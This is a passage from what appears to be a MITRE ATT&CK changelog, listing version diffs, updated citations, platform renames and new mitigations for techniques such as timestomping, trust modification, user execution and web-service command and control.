Modifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022)
Adversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in “double timestomping” by modifying times on both attributes simultaneously.(Citation: Double Timestomping)
Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques) |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Inversecos Timestomping 2022', 'description': 'Lina Lau. (2022, April 28). Defence Evasion Technique: Timestomping Detection – NTFS Forensics. Retrieved September 30, 2024.', 'url': 'https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html'} |
| external_references | | {'source_name': 'Magnet Forensics', 'description': 'Magnet Forensics. (2020, August 24). Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact. Retrieved June 20, 2024.', 'url': 'https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/'} |
| external_references | | {'source_name': 'Double Timestomping', 'description': 'Matthew Dunwoody. (2022, April 28). I have seen double-timestomping ITW, including by APT29. Stay sharp out there.. Retrieved June 20, 2024.', 'url': 'https://x.com/matthewdunwoody/status/1519846657646604289'} |
| x_mitre_contributors | | Mike Hartley @mikehartley10 |
| x_mitre_data_sources | | Process: OS API Execution |
| x_mitre_data_sources | | Command: Command Execution |
[T1020.001] Automated Exfiltration: Traffic Duplication
Current version: 1.3
Version changed from: 1.2 → 1.3
New Mitigations:
- M1057: Data Loss Prevention
Details
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_network_requirements | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-14 23:23:30.327000+00:00 | 2024-10-15 16:08:13.273000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.2 | 1.3 |
[T1537] Transfer Data to Cloud Account
Current version: 1.5
Version changed from: 1.4 → 1.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-11 15:53:00.577000+00:00 | 2024-10-15 16:08:25.344000+00:00 |
| x_mitre_version | 1.4 | 1.5 |
| x_mitre_platforms[2] | Google Workspace | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
[T1484.002] Domain or Tenant Policy Modification: Trust Modification
Current version: 2.1
Version changed from: 2.0 → 2.1
|
|
|---|
| t | Adversaries may add new domain trusts, modify the properties | t | Adversaries may add new domain trusts, modify the properties |
| of existing domain trusts, or otherwise change the configur | | of existing domain trusts, or otherwise change the configur |
| ation of trust relationships between domains and tenants to | | ation of trust relationships between domains and tenants to |
| evade defenses and/or elevate privileges.Trust details, such | | evade defenses and/or elevate privileges.Trust details, such |
| as whether or not user identities are federated, allow auth | | as whether or not user identities are federated, allow auth |
| entication and authorization properties to apply between dom | | entication and authorization properties to apply between dom |
| ains or tenants for the purpose of accessing shared resource | | ains or tenants for the purpose of accessing shared resource |
| s.(Citation: Microsoft - Azure AD Federation) These trust ob | | s.(Citation: Microsoft - Azure AD Federation) These trust ob |
| jects may include accounts, credentials, and other authentic | | jects may include accounts, credentials, and other authentic |
| ation material applied to servers, tokens, and domains. Man | | ation material applied to servers, tokens, and domains. Man |
| ipulating these trusts may allow an adversary to escalate pr | | ipulating these trusts may allow an adversary to escalate pr |
| ivileges and/or evade defenses by modifying settings to add | | ivileges and/or evade defenses by modifying settings to add |
| objects which they control. For example, in Microsoft Active | | objects which they control. For example, in Microsoft Active |
| Directory (AD) environments, this may be used to forge [SAM | | Directory (AD) environments, this may be used to forge [SAM |
| L Tokens](https://attack.mitre.org/techniques/T1606/002) wit | | L Tokens](https://attack.mitre.org/techniques/T1606/002) wit |
| hout the need to compromise the signing certificate to forge | | hout the need to compromise the signing certificate to forge |
| new credentials. Instead, an adversary can manipulate domai | | new credentials. Instead, an adversary can manipulate domai |
| n trusts to add their own signing certificate. An adversary | | n trusts to add their own signing certificate. An adversary |
| may also convert an AD domain to a federated domain using Ac | | may also convert an AD domain to a federated domain using Ac |
| tive Directory Federation Services (AD FS), which may enable | | tive Directory Federation Services (AD FS), which may enable |
| malicious trust modifications such as altering the claim is | | malicious trust modifications such as altering the claim is |
| suance rules to log in any valid set of credentials as a spe | | suance rules to log in any valid set of credentials as a spe |
| cified user.(Citation: AADInternals zure AD Federated Domain | | cified user.(Citation: AADInternals zure AD Federated Domain |
| ) An adversary may also add a new federated identity provi | | ) An adversary may also add a new federated identity provi |
| der to an identity tenant such as Okta, which may enable the | | der to an identity tenant such as Okta or AWS IAM Identity C |
| adversary to authenticate as any user of the tenant.(Citati | | enter, which may enable the adversary to authenticate as any |
| on: Okta Cross-Tenant Impersonation 2023) | | user of the tenant.(Citation: Okta Cross-Tenant Impersonati |
| | | on 2023) This may enable the threat actor to gain broad acce |
| | | ss into a variety of cloud-based services that leverage the |
| | | identity tenant. For example, in AWS environments, an advers |
| | | ary that creates a new identity provider for an AWS Organiza |
| | | tion will be able to federate into all of the AWS Organizati |
| | | on member accounts without creating identities for each of t |
| | | he member accounts.(Citation: AWS RE:Inforce Threat Detectio |
| | | n 2024) |
New Mitigations:
- M1018: User Account Management
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-19 04:27:51.388000+00:00 | 2024-09-25 13:50:11.593000+00:00 |
| description | Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.
Manipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain)
An adversary may also add a new federated identity provider to an identity tenant such as Okta, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023) | Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.
Manipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain)
An adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023) This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.(Citation: AWS RE:Inforce Threat Detection 2024) |
| x_mitre_version | 2.0 | 2.1 |
| x_mitre_platforms[1] | Azure AD | Identity Provider |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'AWS RE:Inforce Threat Detection 2024', 'description': 'Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.', 'url': 'https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf'} |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | SaaS | |
[T1199] Trusted Relationship
Current version: 2.4
Version changed from: 2.3 → 2.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-21 14:35:00.274000+00:00 | 2024-10-15 16:08:39.968000+00:00 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 2.3 | 2.4 |
| x_mitre_platforms[5] | Office 365 | Identity Provider |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
[T1552] Unsecured Credentials
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-15 21:33:12.892000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
| x_mitre_platforms[7] | Google Workspace | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
[T1550] Use Alternate Authentication Material
Current version: 1.4
Version changed from: 1.3 → 1.4
New Mitigations:
- M1036: Account Use Policies
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-28 15:43:30.271000+00:00 | 2024-10-15 16:09:19.001000+00:00 |
| external_references[3]['description'] | NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved January 30, 2020. | NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved September 25, 2024. |
| external_references[3]['url'] | https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication | https://csrc.nist.gov/glossary/term/multi_factor_authentication |
| x_mitre_version | 1.3 | 1.4 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1204] User Execution
Current version: 1.7
Version changed from: 1.6 → 1.7
|
|
|---|
| t | An adversary may rely upon specific actions by a user in ord | t | An adversary may rely upon specific actions by a user in ord |
| er to gain execution. Users may be subjected to social engin | | er to gain execution. Users may be subjected to social engin |
| eering to get them to execute malicious code by, for example | | eering to get them to execute malicious code by, for example |
| , opening a malicious document file or link. These user acti | | , opening a malicious document file or link. These user acti |
| ons will typically be observed as follow-on behavior from fo | | ons will typically be observed as follow-on behavior from fo |
| rms of [Phishing](https://attack.mitre.org/techniques/T1566) | | rms of [Phishing](https://attack.mitre.org/techniques/T1566) |
| . While [User Execution](https://attack.mitre.org/technique | | . While [User Execution](https://attack.mitre.org/technique |
| s/T1204) frequently occurs shortly after Initial Access it m | | s/T1204) frequently occurs shortly after Initial Access it m |
| ay occur at other phases of an intrusion, such as when an ad | | ay occur at other phases of an intrusion, such as when an ad |
| versary places a file in a shared directory or on a user's d | | versary places a file in a shared directory or on a user's d |
| esktop hoping that a user will click on it. This activity ma | | esktop hoping that a user will click on it. This activity ma |
| y also be seen shortly after [Internal Spearphishing](https: | | y also be seen shortly after [Internal Spearphishing](https: |
| //attack.mitre.org/techniques/T1534). Adversaries may also | | //attack.mitre.org/techniques/T1534). Adversaries may also |
| deceive users into performing actions such as enabling [Remo | | deceive users into performing actions such as: * Enabling [ |
| te Access Software](https://attack.mitre.org/techniques/T121 | | Remote Access Software](https://attack.mitre.org/techniques/ |
| 9), allowing direct control of the system to the adversary; | | T1219), allowing direct control of the system to the adversa |
| running malicious JavaScript in their browser, allowing adve | | ry * Running malicious JavaScript in their browser, allowing |
| rsaries to [Steal Web Session Cookie](https://attack.mitre.o | | adversaries to [Steal Web Session Cookie](https://attack.mi |
| rg/techniques/T1539)s; or downloading and executing malware | | tre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023) |
| for [User Execution](https://attack.mitre.org/techniques/T12 | | (Citation: Krebs Discord Bookmarks 2023) * Downloading and e |
| 04).(Citation: Talos Roblox Scam 2023)(Citation: Krebs Disco | | xecuting malware for [User Execution](https://attack.mitre.o |
| rd Bookmarks 2023) For example, tech support scams can be f | | rg/techniques/T1204) * Coerceing users to copy, paste, and e |
| acilitated through [Phishing](https://attack.mitre.org/techn | | xecute malicious code manually(Citation: Reliaquest-executio |
| iques/T1566), vishing, or various forms of user interaction. | | n)(Citation: proofpoint-selfpwn) For example, tech support |
| Adversaries can use a combination of these methods, such as | | scams can be facilitated through [Phishing](https://attack.m |
| spoofing and promoting toll-free numbers or call centers th | | itre.org/techniques/T1566), vishing, or various forms of use |
| at are used to direct victims to malicious websites, to deli | | r interaction. Adversaries can use a combination of these me |
| ver and execute payloads containing malware or [Remote Acces | | thods, such as spoofing and promoting toll-free numbers or c |
| s Software](https://attack.mitre.org/techniques/T1219).(Cita | | all centers that are used to direct victims to malicious web |
| tion: Telephone Attack Delivery) | | sites, to deliver and execute payloads containing malware or |
| | | [Remote Access Software](https://attack.mitre.org/technique |
| | | s/T1219).(Citation: Telephone Attack Delivery) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-12 03:46:49.507000+00:00 | 2024-10-13 15:43:49.208000+00:00 |
| description | An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).
While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).
Adversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary; running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s; or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204).(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)
For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery) | An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).
While [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).
Adversaries may also deceive users into performing actions such as:
* Enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary
* Running malicious JavaScript in their browser, allowing adversaries to [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)s(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)
* Downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204)
* Coerceing users to copy, paste, and execute malicious code manually(Citation: Reliaquest-execution)(Citation: proofpoint-selfpwn)
For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery) |
| x_mitre_version | 1.6 | 1.7 |
| x_mitre_contributors[1] | Goldstein Menachem | Menachem Goldstein |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Reliaquest-execution', 'description': 'Reliaquest. (2024, May 31). New Execution Technique in ClearFake Campaign. Retrieved August 2, 2024.', 'url': 'https://www.reliaquest.com/blog/new-execution-technique-in-clearfake-campaign/'} |
| external_references | | {'source_name': 'proofpoint-selfpwn', 'description': 'Tommy Madjar, Dusty Miller, Selena Larson. (2024, June 17). From Clipboard to Compromise: A PowerShell Self-Pwn. Retrieved August 2, 2024.', 'url': 'https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn'} |
| x_mitre_contributors | | Harikrishnan Muthu, Cyble |
| x_mitre_contributors | | ReliaQuest |
[T1078] Valid Accounts
Current version: 2.7
Version changed from: 2.6 → 2.7
New Mitigations:
- M1032: Multi-factor Authentication
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:51.631000+00:00 | 2024-10-15 16:09:46.024000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 2.6 | 2.7 |
| x_mitre_contributors[8] | Goldstein Menachem | Menachem Goldstein |
| x_mitre_platforms[7] | Google Workspace | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
[T1102] Web Service
Current version: 1.2
Version changed from: 1.1 → 1.2
|
|
|---|
| t | Adversaries may use an existing, legitimate external Web ser | t | Adversaries may use an existing, legitimate external Web ser |
| vice as a means for relaying data to/from a compromised syst | | vice as a means for relaying data to/from a compromised syst |
| em. Popular websites and social media acting as a mechanism | | em. Popular websites, cloud services, and social media actin |
| for C2 may give a significant amount of cover due to the lik | | g as a mechanism for C2 may give a significant amount of cov |
| elihood that hosts within a network are already communicatin | | er due to the likelihood that hosts within a network are alr |
| g with them prior to a compromise. Using common services, su | | eady communicating with them prior to a compromise. Using co |
| ch as those offered by Google or Twitter, makes it easier fo | | mmon services, such as those offered by Google, Microsoft, o |
| r adversaries to hide in expected noise. Web service provide | | r Twitter, makes it easier for adversaries to hide in expect |
| rs commonly use SSL/TLS encryption, giving adversaries an ad | | ed noise.(Citation: Broadcom BirdyClient Microsoft Graph API |
| ded level of protection. Use of Web services may also prote | | 2024) Web service providers commonly use SSL/TLS encryption |
| ct back-end C2 infrastructure from discovery through malware | | , giving adversaries an added level of protection. Use of W |
| binary analysis while also enabling operational resiliency | | eb services may also protect back-end C2 infrastructure from |
| (since this infrastructure may be dynamically changed). | | discovery through malware binary analysis while also enabli |
| | | ng operational resiliency (since this infrastructure may be |
| | | dynamically changed). |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-26 23:26:10.297000+00:00 | 2024-10-07 17:53:54.380000+00:00 |
| description | Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). | Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API 2024) Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed). |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Broadcom BirdyClient Microsoft Graph API 2024', 'description': 'Broadcom. (2024, May 2). BirdyClient malware leverages Microsoft Graph API for C&C communication. Retrieved July 1, 2024.', 'url': 'https://www.broadcom.com/support/security-center/protection-bulletin/birdyclient-malware-leverages-microsoft-graph-api-for-c-c-communication'} |
| x_mitre_contributors | | Sarathkumar Rajendran, Microsoft Defender365 |
[T1550.004] Use Alternate Authentication Material: Web Session Cookie
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-19 21:26:24.725000+00:00 | 2024-10-15 16:11:15.657000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.3 | 1.4 |
| x_mitre_platforms[2] | Google Workspace | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
Patches
[T1583] Acquire Infrastructure
Current version: 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-28 21:13:02.648000+00:00 | 2024-10-16 20:03:59.884000+00:00 |
| x_mitre_contributors[1] | Goldstein Menachem | Menachem Goldstein |
[T1059.002] Command and Scripting Interpreter: AppleScript
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-01 19:06:05.126000+00:00 | 2024-10-15 14:18:20.087000+00:00 |
[T1010] Application Window Discovery
Current version: 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-15 16:46:04.776000+00:00 | 2024-10-15 16:22:56.372000+00:00 |
| external_references[2]['url'] | https://www.prevailion.com/darkwatchman-new-fileless-techniques/ | https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/ |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1588.007] Obtain Capabilities: Artificial Intelligence
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-15 23:49:14.558000+00:00 | 2024-09-12 19:18:36.583000+00:00 |
| external_references[2]['description'] | OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved March 11, 2024. | OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved September 12, 2024. |
| external_references[2]['url'] | https://openai.com/blog/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors | https://openai.com/index/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors/ |
[T1123] Audio Capture
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-01-23 22:53:18.389000+00:00 | 2024-10-15 13:39:22.774000+00:00 |
[T1547] Boot or Logon Autostart Execution
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-16 12:26:07.945000+00:00 | 2024-09-12 15:27:58.051000+00:00 |
| external_references[3]['description'] | Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. | Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024. |
| external_references[3]['url'] | http://msdn.microsoft.com/en-us/library/aa376977 | https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys |
[T1176] Browser Extensions
Current version: 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-18 23:22:37.874000+00:00 | 2024-09-12 19:48:15.871000+00:00 |
| external_references[6]['description'] | Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017. | Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024. |
| external_references[6]['url'] | https://kjaer.io/extension-malware/ | https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/ |
[T1218.003] System Binary Proxy Execution: CMSTP
Current version: 2.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-21 12:24:13.666000+00:00 | 2024-09-12 19:35:43.077000+00:00 |
| external_references[1]['description'] | Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018. | Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved September 12, 2024. |
| external_references[1]['url'] | https://twitter.com/ItsReallyNick/status/958789644165894146 | https://x.com/ItsReallyNick/status/958789644165894146 |
| external_references[6]['description'] | Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018. | Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved September 12, 2024. |
| external_references[6]['url'] | https://twitter.com/NickTyrer/status/958450014111633408 | https://x.com/NickTyrer/status/958450014111633408 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1003.005] OS Credential Dumping: Cached Domain Credentials
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-18 23:47:54.553000+00:00 | 2024-10-15 14:18:59.123000+00:00 |
[T1546.001] Event Triggered Execution: Change Default File Association
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-30 21:01:40.699000+00:00 | 2024-09-12 15:27:11.065000+00:00 |
| external_references[2]['description'] | Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014. | Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved September 12, 2024. |
| external_references[2]['url'] | http://msdn.microsoft.com/en-us/library/bb166549.aspx | https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2015/extensibility/specifying-file-handlers-for-file-name-extensions?view=vs-2015 |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1651] Cloud Administration Command
Current version: 2.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-12 03:27:48.171000+00:00 | 2024-10-15 13:42:42.543000+00:00 |
[T1580] Cloud Infrastructure Discovery
Current version: 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-04-20 19:03:12.977000+00:00 | 2024-09-30 13:28:37.415000+00:00 |
| external_references[8]['url'] | https://content.fireeye.com/m-trends/rpt-m-trends-2020 | https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
[T1552.005] Unsecured Credentials: Cloud Instance Metadata API
Current version: 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-21 13:56:27.910000+00:00 | 2024-10-15 16:24:20.219000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1555.006] Credentials from Password Stores: Cloud Secrets Management Stores
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-09-30 20:24:19.357000+00:00 | 2024-10-15 14:20:16.722000+00:00 |
[T1027.010] Obfuscated Files or Information: Command Obfuscation
Current version: 1.0
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-24 15:01:21.117000+00:00 | 2024-09-12 19:43:18.873000+00:00 |
| external_references[1]['description'] | Ackroyd, R. (2023, March 24). Twitter. Retrieved March 24, 2023. | Ackroyd, R. (2023, March 24). Twitter. Retrieved September 12, 2024. |
| external_references[1]['url'] | https://twitter.com/rfackroyd/status/1639136000755765254 | https://x.com/rfackroyd/status/1639136000755765254 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1584] Compromise Infrastructure
Current version: 1.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-28 03:53:28.299000+00:00 | 2024-10-16 20:06:03.570000+00:00 |
| x_mitre_contributors[2] | Goldstein Menachem | Menachem Goldstein |
[T1552.007] Unsecured Credentials: Container API
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-15 16:11:25.409000+00:00 | 2024-10-15 16:25:28.820000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1609] Container Administration Command
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-15 16:03:19.642000+00:00 | 2024-10-15 16:25:45.507000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1053.007] Scheduled Task/Job: Container Orchestration Job
Current version: 1.3
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-15 16:23:05.392000+00:00 | 2024-10-15 16:26:03.731000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
[T1552.001] Unsecured Credentials: Credentials In Files
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-15 21:33:00.213000+00:00 | 2024-10-15 14:28:43.639000+00:00 |
[T1555] Credentials from Password Stores
Current version: 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-02-26 14:19:09.417000+00:00 | 2024-10-15 14:57:46.850000+00:00 |
[T1552.002] Unsecured Credentials: Credentials in Registry
Current version: 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-07-28 18:29:56.525000+00:00 | 2024-10-15 16:26:46.873000+00:00 |
